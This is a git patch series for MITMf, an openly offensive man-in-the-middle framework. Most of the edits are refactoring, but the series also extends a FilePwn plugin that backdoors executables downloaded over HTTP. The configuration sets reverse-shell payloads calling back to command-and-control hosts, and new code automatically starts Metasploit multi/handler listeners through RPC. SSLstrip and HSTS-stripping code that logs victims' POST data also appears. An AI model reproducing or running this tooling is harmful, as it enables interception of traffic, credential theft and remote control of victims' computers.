From 460399541fc44e1924e5b084fa3e94fd88c54503 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 13 Apr 2015 20:25:14 +0200 Subject: [PATCH 1/3] Modded Responder plugin to accomodate re-write Started converting all string formatting to format() API --- libs/responder | 2 +- mitmf.py | 58 +++++++++++++++++++++----------------------- plugins/Responder.py | 12 ++++----- 3 files changed, 34 insertions(+), 38 deletions(-) diff --git a/libs/responder b/libs/responder index e7a69e4..137e8ee 160000 --- a/libs/responder +++ b/libs/responder @@ -1 +1 @@ -Subproject commit e7a69e46c13f77c90300965a0897d13de6437f78 +Subproject commit 137e8eea61ef3c3d0426312a72894d6a4ed32cef diff --git a/mitmf.py b/mitmf.py index 42e8391..274a4fc 100755 --- a/mitmf.py +++ b/mitmf.py @@ -52,7 +52,7 @@ Banners().printBanner() if os.geteuid() != 0: sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?") -parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') +parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add MITMf options mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") @@ -80,29 +80,29 @@ try: for p in plugin_classes: plugins.append(p()) except: - print "Failed to load plugin class %s" % str(p) + print "Failed to load plugin class {}".format(p) #Give subgroup to each plugin with options try: for p in plugins: if p.desc == "": - sgroup = parser.add_argument_group("%s" % p.name,"Options for %s." % p.name) + sgroup = parser.add_argument_group(p.name,"Options for {}.".format(p.name)) else: - sgroup = parser.add_argument_group("%s" % p.name, p.desc) + sgroup = parser.add_argument_group(p.name, p.desc) - sgroup.add_argument("--%s" % p.optname, action="store_true",help="Load plugin %s" % p.name) + sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name)) if p.has_opts: p.add_options(sgroup) except NotImplementedError: - sys.exit("[-] %s plugin claimed option support, but didn't have it." % p.name) + sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name)) args = parser.parse_args() try: configfile = ConfigObj(args.configfile) except Exception, e: - sys.exit("[-] Error parsing config file: " + str(e)) + sys.exit("[-] Error parsing config file: {}".format(e)) config_args = configfile['MITMf']['args'] if config_args: @@ -117,14 +117,14 @@ if config_args: try: args.ip_address = get_if_addr(args.interface) if (args.ip_address == "0.0.0.0") or (args.ip_address is None): - sys.exit("[-] Interface %s does not have an assigned IP address" % args.interface) + sys.exit("[-] Interface {} does not have an assigned IP address".format(args.interface)) except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) + sys.exit("[-] Error retrieving interface IP address: {}".format(e)) try: args.mac_address = get_if_hwaddr(args.interface) except Exception, e: - sys.exit("[-] Error retrieving interface MAC address: %s" % e) + sys.exit("[-] Error retrieving interface MAC address: {}".format(e)) args.configfile = configfile #so we can pass the configobj down to all the plugins @@ -144,31 +144,27 @@ mitmf_logger.addHandler(fileHandler) ##################################################################################################### #All our options should be loaded now, pass them onto plugins -print "[*] MITMf v%s online... initializing plugins" % mitmf_version +print "[*] MITMf v{} online... initializing plugins".format(mitmf_version) load = [] for p in plugins: - try: - if vars(args)[p.optname] is True: - print "|_ %s v%s" % (p.name, p.version) - if hasattr(p, 'tree_output') and p.tree_output: - for line in p.tree_output: - print "| |_ %s" % line - p.tree_output.remove(line) + if vars(args)[p.optname] is True: + print "|_ {} v{}".format(p.name, p.version) + if hasattr(p, 'tree_output') and p.tree_output: + for line in p.tree_output: + print "| |_ {}".format(line) + p.tree_output.remove(line) - if getattr(args, p.optname): - p.initialize(args) - load.append(p) + if getattr(args, p.optname): + p.initialize(args) + load.append(p) - if vars(args)[p.optname] is True: - if hasattr(p, 'tree_output') and p.tree_output: - for line in p.tree_output: - print "| |_ %s" % line - - except Exception: - print "[-] Error loading plugin %s: %s" % (p.name, PrintException()) + if vars(args)[p.optname] is True: + if hasattr(p, 'tree_output') and p.tree_output: + for line in p.tree_output: + print "| |_ {}".format(line) #Plugins are ready to go, start MITMf if args.disproxy: @@ -204,9 +200,9 @@ else: p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it print "|" - print "|_ Sergio-Proxy v%s online" % sergio_version - print "|_ SSLstrip v%s by Moxie Marlinspike online" % sslstrip_version - print "|_ DNSChef v%s online\n" % dnschef_version + print "|_ Sergio-Proxy v{} online".format(sergio_version) + print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) + print "|_ DNSChef v{} online\n".format(dnschef_version) reactor.run() diff --git a/plugins/Responder.py b/plugins/Responder.py index 235cbdf..9c51545 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -45,25 +45,25 @@ class Responder(Plugin): except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - if options.Analyse: + if options.Analyze: self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - resp = ResponderMITMf() - resp.setCoreVars(options, config) + resp = ResponderMITMf(options, config) + #resp.setCoreVars(options, config) - result = resp.AnalyzeICMPRedirect() + result = resp.AnalyzeICMPRedirect(options.Analyze) if result: for line in result: self.tree_output.append(line) - resp.printDebugInfo() + #resp.printDebugInfo() resp.start() def plugin_reactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) def add_options(self, options): - options.add_argument('--analyze', dest="Analyse", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") + options.add_argument('--analyze', dest="Analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") From 8eb09309d2e60b4798b480f63adc45a0c5da254a Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 15 Apr 2015 00:40:01 +0200 Subject: [PATCH 2/3] Merged Filepwn plugin and config file changes --- config/mitmf.conf | 15 ++++++++---- libs/bdfactory | 2 +- plugins/FilePwn.py | 60 ++++++++++++++++++++++++++-------------------- 3 files changed, 45 insertions(+), 32 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index 9339e9e..f1f5b32 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -363,6 +363,7 @@ FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large CompressedFiles = True #True/False + [[[[LinuxIntelx86]]]] SHELL = reverse_shell_tcp # This is the BDF syntax HOST = 192.168.1.168 # The C2 @@ -378,10 +379,12 @@ MSFPAYLOAD = linux/x64/shell_reverse_tcp [[[[WindowsIntelx86]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic HOST = 192.168.1.16 - PORT = 4444 - SHELL = reverse_tcp_stager + PORT = 8443 + SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None ZERO_CERT = False PATCH_DLL = True @@ -389,10 +392,12 @@ [[[[WindowsIntelx64]]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic HOST = 192.168.1.16 PORT = 8088 - SHELL = reverse_shell_tcp - SUPPLIED_SHELLCODE = Nonepatchpatchpatch + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None ZERO_CERT = True PATCH_DLL = False MSFPAYLOAD = windows/x64/shell_reverse_tcp diff --git a/libs/bdfactory b/libs/bdfactory index 9ce83ea..e6af51b 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit 9ce83ead5ddc4daa798b0f144b3cfeece6809c19 +Subproject commit e6af51b0c921e7c3dd5bb10a0d7b3983f46ca32b diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 2d10897..987db4d 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -78,7 +78,7 @@ class FilePwn(Plugin): optname = "filepwn" desc = "Backdoor executables being sent over http using bdfactory" implements = ["handleResponse"] - tree_output = ["BDFProxy v0.2 online"] + tree_output = ["BDFProxy v0.3.2 online"] version = "0.2" has_opts = False @@ -123,8 +123,6 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] - self.output.append("BDFProxy by midnite_runr online") - def convert_to_Bool(self, aString): if aString.lower() == 'true': return True @@ -167,6 +165,10 @@ class FilePwn(Plugin): elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': cave_jumping = True + # if automatic override + if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + targetFile = pebin.pebin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.WindowsIntelx64['SHELL'], @@ -178,6 +180,7 @@ class FilePwn(Plugin): PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() ) result = targetFile.run_this() @@ -193,6 +196,10 @@ class FilePwn(Plugin): elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': cave_jumping = True + # if automatic override + if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + targetFile = pebin.pebin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.WindowsIntelx86['SHELL'], @@ -203,7 +210,8 @@ class FilePwn(Plugin): IMAGE_TYPE=self.WindowsType, PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']) + ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), + PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() ) result = targetFile.run_this() @@ -236,7 +244,7 @@ class FilePwn(Plugin): ) result = targetFile.run_this() - elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho + elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) targetFile.support_check() @@ -245,29 +253,29 @@ class FilePwn(Plugin): if targetFile.FAT_FILE is True: if self.FatPriority == 'x86': targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) result = targetFile.run_this() elif self.FatPriority == 'x64': targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), + OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx86['SHELL'], HOST=self.MachoIntelx86['HOST'], PORT=int(self.MachoIntelx86['PORT']), @@ -276,9 +284,9 @@ class FilePwn(Plugin): ) result = targetFile.run_this() - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT = os.path.basename(binaryFile), + OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx64['SHELL'], HOST=self.MachoIntelx64['HOST'], PORT=int(self.MachoIntelx64['PORT']), @@ -286,7 +294,7 @@ class FilePwn(Plugin): FAT_PRIORITY=self.FatPriority ) result = targetFile.run_this() - + self.patched.put(result) return @@ -464,7 +472,7 @@ class FilePwn(Plugin): patchCount = 0 wasPatched = False - + for info in zippyfile.infolist(): print "[*] >>> Next file in zipfile:", info.filename From b91bb4271b6a6f25280f40ded47c9fdbdf8717d8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 15 Apr 2015 18:19:19 +0200 Subject: [PATCH 3/3] - Fixed bug where sometimes DNS wouldn't resolve local IP's - Added Metasploit integration to Filepwn plugin --- core/sslstrip/ClientRequest.py | 36 +++++++++++++------------ core/sslstrip/ServerConnection.py | 35 ++++++++++++------------ plugins/FilePwn.py | 45 +++++++++++++++++++++++++++++-- plugins/JavaPwn.py | 21 ++------------- requirements.txt | 3 ++- 5 files changed, 84 insertions(+), 56 deletions(-) diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 017118c..a132d2b 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -72,7 +72,7 @@ class ClientRequest(Request): if 'referer' in headers: real = self.urlMonitor.real if len(real) > 0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) + dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) if 'if-none-match' in headers: @@ -80,13 +80,13 @@ class ClientRequest(Request): if 'host' in headers: host = self.urlMonitor.URLgetRealHost(str(headers['host'])) - mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host)) + mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host)) headers['host'] = host self.setHeader('Host', host) if 'accept-encoding' in headers: del headers['accept-encoding'] - mitmf_logger.debug("Zapped encoding") + mitmf_logger.debug("[ClientRequest] Zapped encoding") if 'if-modified-since' in headers: del headers['if-modified-since'] @@ -117,7 +117,7 @@ class ClientRequest(Request): return "lock.ico" def handleHostResolvedSuccess(self, address): - mitmf_logger.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) + mitmf_logger.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -138,13 +138,13 @@ class ClientRequest(Request): url = 'http://' + host + path self.uri = url # set URI to absolute - if len(real) > 0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) + if real: + dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) - if len(patchDict) > 0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) + if patchDict: + dregex = re.compile("({})".format("|".join(map(re.escape, patchDict.keys())))) postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) @@ -155,22 +155,22 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - mitmf_logger.debug("Sending expired cookies...") + mitmf_logger.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): - mitmf_logger.debug("Sending spoofed favicon response...") + mitmf_logger.debug("[ClientRequest] Sending spoofed favicon response") self.sendSpoofedFaviconResponse() elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - mitmf_logger.debug("Sending request via SSL...(%s %s)" % (client,url)) + mitmf_logger.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - mitmf_logger.debug("Sending request via HTTP...") + mitmf_logger.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -189,7 +189,7 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) + mitmf_logger.debug("[ClientRequest] Host cached: {} {}".format(host, str(address))) return defer.succeed(address) else: @@ -197,20 +197,22 @@ class ClientRequest(Request): if self.resolver == 'dnschef': try: + mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") address = str(self.customResolver.query(host)[0].address) return defer.succeed(address) except Exception: - return defer.fail() - + mitmf_logger.debug("[ClientRequest] Exception occured, falling back to reactor.resolve()") + return reactor.resolve(host) + elif self.resolver == 'twisted': return reactor.resolve(host) def process(self): - mitmf_logger.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host'))) + mitmf_logger.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) host = self.getHeader('host').split(":")[0] if self.hsts: - host = self.urlMonitor.URLgetRealHost("%s"%host) + host = self.urlMonitor.URLgetRealHost(str(host)) deferred = self.resolveHost(host) deferred.addCallback(self.handleHostResolvedSuccess) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 72e3205..2ce07ac 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -70,18 +70,18 @@ class ServerConnection(HTTPClient): if self.command == 'GET': try: user_agent = parse(self.headers['user-agent']) - self.clientInfo = "%s [type:%s-%s os:%s] " % (self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) + self.clientInfo = "{0} [type:{1}-{2} os:{3}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) except: - self.clientInfo = "%s " % self.client.getClientIP() + self.clientInfo = "{} ".format(self.client.getClientIP()) - mitmf_logger.info(self.clientInfo + "Sending Request: %s" % self.headers['host']) + mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host'])) self.plugins.hook() self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("Sending header: (%s => %s)" % (header, value)) + mitmf_logger.debug("[ServerConnection] Sending header: ({} => {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() @@ -92,11 +92,11 @@ class ServerConnection(HTTPClient): elif 'keylog' in self.uri: self.plugins.hook() else: - mitmf_logger.warning("%s %s Data (%s):\n%s" % (self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], self.postData)) + mitmf_logger.warning("{0} {1} Data ({2}):\n{3}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], self.postData)) self.transport.write(self.postData) def connectionMade(self): - mitmf_logger.debug("HTTP connection made.") + mitmf_logger.debug("[ServerConnection] HTTP connection made.") self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -105,11 +105,11 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - mitmf_logger.debug("Got server response: %s %s %s" % (version, code, message)) + mitmf_logger.debug("[ServerConnection] Got server response: {0} {1} {2}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): - mitmf_logger.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value)) + mitmf_logger.debug("[ServerConnection] Receiving header ({}: {})".format(key, value)) if (key.lower() == 'location'): value = self.replaceSecureLinks(value) @@ -119,15 +119,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("Response is image content, not scanning...") + mitmf_logger.debug("[ServerConnection] Response is image content, not scanning...") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("Response is compressed...") + mitmf_logger.debug("[ServerConnection] Response is compressed...") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP()) + mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) elif (key.lower() == 'content-length'): self.contentLength = value @@ -164,10 +164,11 @@ class ServerConnection(HTTPClient): def handleResponse(self, data): if (self.isCompressed): - mitmf_logger.debug("Decompressing content...") + mitmf_logger.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() #mitmf_logger.debug("Read from server:\n" + data) + mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) data = self.replaceSecureLinks(data) res = self.plugins.hook() @@ -184,7 +185,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - mitmf_logger.info("Client connection dropped before request finished.") + mitmf_logger.info("[ServerConnection] Client connection dropped before request finished.") def replaceSecureLinks(self, data): if self.hsts: @@ -193,7 +194,7 @@ class ServerConnection(HTTPClient): patchDict = self.urlMonitor.patchDict if len(patchDict)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) + dregex = re.compile("({})".format("|".join(map(re.escape, patchDict.keys())))) data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) iterator = re.finditer(ServerConnection.urlExpression, data) @@ -202,13 +203,13 @@ class ServerConnection(HTTPClient): mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - mitmf_logger.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl)) + mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl #data.replace(url,nuevaurl) #data = self.urlMonitor.DataReemplazo(data) if len(sustitucion)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) + dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys())))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) #mitmf_logger.debug("HSTS DEBUG received data:\n"+data) @@ -227,7 +228,7 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("Found secure reference: " + url) + mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 987db4d..ed3e774 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -67,6 +67,7 @@ import multiprocessing from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin +from core.msfrpc import Msfrpc from plugins.plugin import Plugin from tempfile import mkstemp from configobj import ConfigObj @@ -79,7 +80,7 @@ class FilePwn(Plugin): desc = "Backdoor executables being sent over http using bdfactory" implements = ["handleResponse"] tree_output = ["BDFProxy v0.3.2 online"] - version = "0.2" + version = "0.3" has_opts = False def initialize(self, options): @@ -109,6 +110,20 @@ class FilePwn(Plugin): #NOT USED NOW #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) + #Metasploit options + msfcfg = options.configfile['MITMf']['Metasploit'] + rpcip = msfcfg['rpcip'] + rpcpass = msfcfg['rpcpass'] + + try: + self.msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary + self.msf.login('msf', rpcpass) + version = self.msf.call('core.version')['version'] + self.tree_output.append("Connected to Metasploit v%s" % version) + except Exception: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + + #FilePwn options self.userConfig = options.configfile['FilePwn'] self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] @@ -123,6 +138,32 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] + self.tree_output.append("Setting up Metasploit payload handlers") + + jobs = self.msf.call('job.list') + for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: + cmd = "use exploit/multi/handler\n" + cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) + cmd += "set LHOST {}\n".format(config["HOST"]) + cmd += "set LPORT {}\n".format(config["PORT"]) + cmd += "exploit -j\n" + + if jobs: + for pid, name in jobs.iteritems(): + info = self.msf.call('job.info', [pid]) + if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']): + #Create a virtual console + c_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [c_id, cmd]) + else: + #Create a virtual console + c_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [c_id, cmd]) + def convert_to_Bool(self, aString): if aString.lower() == 'true': return True @@ -300,7 +341,7 @@ class FilePwn(Plugin): except Exception as e: print 'Exception', str(e) - mitmf_logger.warning("EXCEPTION IN binaryGrinder %s", str(e)) + mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e)) return None def tar_files(self, aTarFileBytes, formatt): diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index f4a0bfb..15a292d 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -18,13 +18,13 @@ # USA # -import core.msfrpc as msfrpc import string import random import threading import sys import logging +from core.msfrpc import Msfrpc from plugins.plugin import Plugin from plugins.BrowserProfiler import BrowserProfiler from time import sleep @@ -71,7 +71,7 @@ class JavaPwn(BrowserProfiler, Plugin): self.black_ips = [] try: - msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary + msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] self.tree_output.append("Connected to Metasploit v%s" % version) @@ -233,20 +233,3 @@ class JavaPwn(BrowserProfiler, Plugin): self.send_command(cmd, msf, vic_ip) self.injectWait(msf, rand_url, vic_ip) sleep(1) - - def finish(self): - '''This will be called when shutting down''' - msf = msfrpc.Msfrpc({"host": self.rpcip}) - msf.login('msf', self.rpcpass) - - jobs = msf.call('job.list') - if len(jobs) > 0: - print '\n[*] Stopping all running metasploit jobs' - for k, v in jobs.iteritems(): - msf.call('job.stop', [k]) - - consoles = msf.call('console.list')['consoles'] - if len(consoles) > 0: - print "[*] Closing all virtual consoles" - for console in consoles: - msf.call('console.destroy', [console['id']]) diff --git a/requirements.txt b/requirements.txt index 06c30e4..ababa30 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,4 +9,5 @@ configobj pyyaml ua-parser Pillow -pefile \ No newline at end of file +pefile +pypcap \ No newline at end of file